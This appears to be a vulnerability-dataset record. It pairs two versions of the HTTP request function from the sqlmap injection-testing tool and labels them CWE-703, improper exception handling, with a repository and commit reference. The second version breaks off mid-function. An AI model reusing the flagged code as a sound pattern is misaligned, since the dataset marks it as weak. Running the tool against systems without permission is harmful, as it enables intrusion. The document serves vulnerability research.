            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            if conf.localhost:
                headers[HTTP_HEADER.HOST] = ""localhost""

            for key, value in list(headers.items()):
                if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
                    value = re.sub(r""(?i)(,)br(,)?"", lambda match: ',' if match.group(1) and match.group(2) else """", value) or ""identity""

                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))

                _page = []

                if kb.webSocketRecvCount is None:
                    while True:
                        try:
                            _page.append(ws.recv())
                        except websocket.WebSocketTimeoutException:
                            kb.webSocketRecvCount = len(_page)
                            break
                else:
                    for i in xrange(max(1, kb.webSocketRecvCount)):
                        _page.append(ws.recv())

                page = ""\n"".join(_page)

                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                post = getBytes(post)

                if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                    if kb.place != HTTPMETHOD.POST:
                        conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    else:
                        post = urldecode(post, convall=True)
                        post = encodeBase64(post)

                if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(cmdLineOptions.method or method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = ""error occurred while running preprocess ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    with conf.cj._cookies_lock:
                        cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, ""geturl"") else url

                    if getattr(conn, ""redurl"", None) is not None:
                        responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl

                    responseHeaders = patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect logic""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh intent ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply it from now on? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warning(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % getSafeExString(ex)
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                responseHeaders = patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warning(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders and getattr(responseHeaders, ""headers"", None):
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if code in conf.abortCode:
                errMsg = ""aborting due to detected HTTP code '%d'"" % code
                singleTimeLogMessage(errMsg, logging.CRITICAL)
                raise SystemExit

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d). "" % code
                    errMsg += ""If this is intended, try to rerun by providing ""
                    errMsg += ""a valid value for option '--ignore-code'""
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.REQUEST_URI_TOO_LONG:
                    warnMsg = ""request URI is marked as too long by the target. ""
                    warnMsg += ""you are advised to try a switch '--no-cast' and/or '--no-escape'""
                    singleTimeWarnMessage(warnMsg)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""KeyError:"" in tbMsg:
                if ""content-length"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""AttributeError:"" in tbMsg:
                if ""WSAECONNREFUSED"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif any(_ in tbMsg for _ in (""forcibly closed"", ""Connection is already closed"", ""ConnectionAbortedError"")):
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.choices.connError = readInput(message, default='N', boolean=True)

                if kb.choices.connError is False:
                    raise SqlmapSkipTargetException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running postprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for _ in (getattr(conn, ""redcode"", None), code):
                if _ is not None and _ in conf.abortCode:
                    errMsg = ""aborting due to detected HTTP code '%d'"" % _
                    singleTimeLogMessage(errMsg, logging.CRITICAL)
                    raise SystemExit

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
        if not sys.version.startswith(""3.11.""):
            if conf.retryOn and re.search(conf.retryOn, page, re.I):
                if threadData.retriesCount < conf.retries:
                    warnMsg = ""forced retry of the request because of undesired page content""
                    logger.warning(warnMsg)
                    return Connect._retryProxy(**kwargs)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code",CWE-703,sqlmapproject/sqlmap,9bbf70790cee30cc3e6b23cd7d9fc9981398d8ad,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

            if conf.proxyFreq:
                if kb.requestCounter % conf.proxyFreq == 0:
                    conf.proxy = None

                    warnMsg = ""changing proxy""
                    logger.warning(warnMsg)

                    setHTTPHandlers()

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if conf.liveCookies:
            with kb.locks.liveCookies:
                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
                    warnMsg = ""[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)"" % (time.strftime(""%X""), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(1)

                    dataToStdout(""\n"")

                    if not valid:
                        errMsg = ""problem occurred while loading cookies from file '%s'"" % conf.liveCookies
                        raise SqlmapValueException(errMsg)

                cookie = openFile(conf.liveCookies).read().strip()
                cookie = re.sub(r""(?i)\ACookie:\s*"", """", cookie)

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            if conf.localhost:
                headers[HTTP_HEADER.HOST] = ""localhost""

            for key, value in list(headers.items()):
                if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
                    value = re.sub(r""(?i)(,)br(,)?"", lambda match: ',' if match.group(1) and match.group(2) else """", value) or ""identity""

                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
